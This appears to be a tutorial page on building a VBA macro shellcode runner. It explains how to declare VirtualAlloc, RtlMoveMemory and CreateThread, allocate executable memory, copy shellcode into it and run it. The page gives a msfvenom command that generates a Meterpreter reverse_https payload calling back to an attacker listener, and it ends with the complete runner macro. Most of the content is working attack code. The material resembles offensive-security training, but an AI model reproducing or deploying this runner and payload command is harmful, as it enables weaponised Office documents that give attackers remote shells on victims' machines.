Running Shellcode in Macro

Allocating Memory with VirtualAlloc

To execute shellcode, we first need to allocate memory in the process. The VirtualAlloc function is used for this purpose. It takes the following parameters:

LPVOID VirtualAlloc(
  LPVOID lpAddress,    // Memory location (set to 0 to let the system choose)
  SIZE_T dwSize,       // Size of the allocation
  DWORD flAllocationType, // Type of allocation (MEM_COMMIT | MEM_RESERVE)
  DWORD flProtect      // Memory protection (PAGE_EXECUTE_READWRITE)
);

In VBA, this function is declared as:

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" ( _
    ByVal lpAddress As LongPtr, _
    ByVal dwSize As Long, _
    ByVal flAllocationType As Long, _
    ByVal flProtect As Long) As LongPtr
  • lpAddress: Set to 0 to let Windows decide the memory location.

  • dwSize: The size of the memory block, determined dynamically using UBound(buf).

  • flAllocationType: Set to &H3000 (equivalent to MEM_COMMIT | MEM_RESERVE).

  • flProtect: Set to &H40 (PAGE_EXECUTE_READWRITE) to ensure the memory can be both written to and executed​.

Example VBA Call:

addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

Copying Shellcode to Memory with RtlMoveMemory

After memory is allocated, we need to copy our shellcode into this memory location. The RtlMoveMemory function handles this:

VOID RtlMoveMemory(
  VOID UNALIGNED *Destination, 
  VOID UNALIGNED *Source, 
  SIZE_T Length
);

VBA Declaration:

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" ( _
    ByVal lDestination As LongPtr, _
    ByRef sSource As Any, _
    ByVal lLength As Long) As LongPtr
  • lDestination: Address of the allocated memory.

  • sSource: The shellcode array.

  • lLength: The length of the shellcode​.

Looping Through Shellcode:

For counter = LBound(buf) To UBound(buf)
    data = buf(counter)
    res = RtlMoveMemory(addr + counter, data, 1)
Next counter

Executing the Shellcode with CreateThread

To execute the shellcode, we need to create a new execution thread using the CreateThread API:

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes, 
  SIZE_T                  dwStackSize, 
  LPTHREAD_START_ROUTINE  lpStartAddress, 
  LPVOID                  lpParameter, 
  DWORD                   dwCreationFlags, 
  LPDWORD                 lpThreadId
);

VBA Declaration:

Private Declare PtrSafe Function CreateThread Lib "KERNEL32" ( _
    ByVal SecurityAttributes As Long, _
    ByVal StackSize As Long, _
    ByVal StartFunction As LongPtr, _
    ThreadParameter As LongPtr, _
    ByVal CreateFlags As Long, _
    ByRef ThreadId As Long) As LongPtr
  • StartFunction: Address of the shellcode buffer (addr).

  • Other arguments: Set to 0 since they are not required.

Executing the Shellcode:

res = CreateThread(0, 0, addr, 0, 0, 0)

Full VBA Shellcode Runner Code

 msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f vbapplication
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" ( _
    ByVal SecurityAttributes As Long, _
    ByVal StackSize As Long, _
    ByVal StartFunction As LongPtr, _
    ThreadParameter As LongPtr, _
    ByVal CreateFlags As Long, _
    ByRef ThreadId As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" ( _
    ByVal lpAddress As LongPtr, _
    ByVal dwSize As Long, _
    ByVal flAllocationType As Long, _
    ByVal flProtect As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" ( _
    ByVal lDestination As LongPtr, _
    ByRef sSource As Any, _
    ByVal lLength As Long) As LongPtr

Function mymacro()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As Long

    ' Example shellcode (placeholder)
    buf = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82)

    ' Allocate memory for shellcode
    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

    ' Copy shellcode into allocated memory
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter

    ' Execute shellcode
    res = CreateThread(0, 0, addr, 0, 0, 0)
End Function

Last updated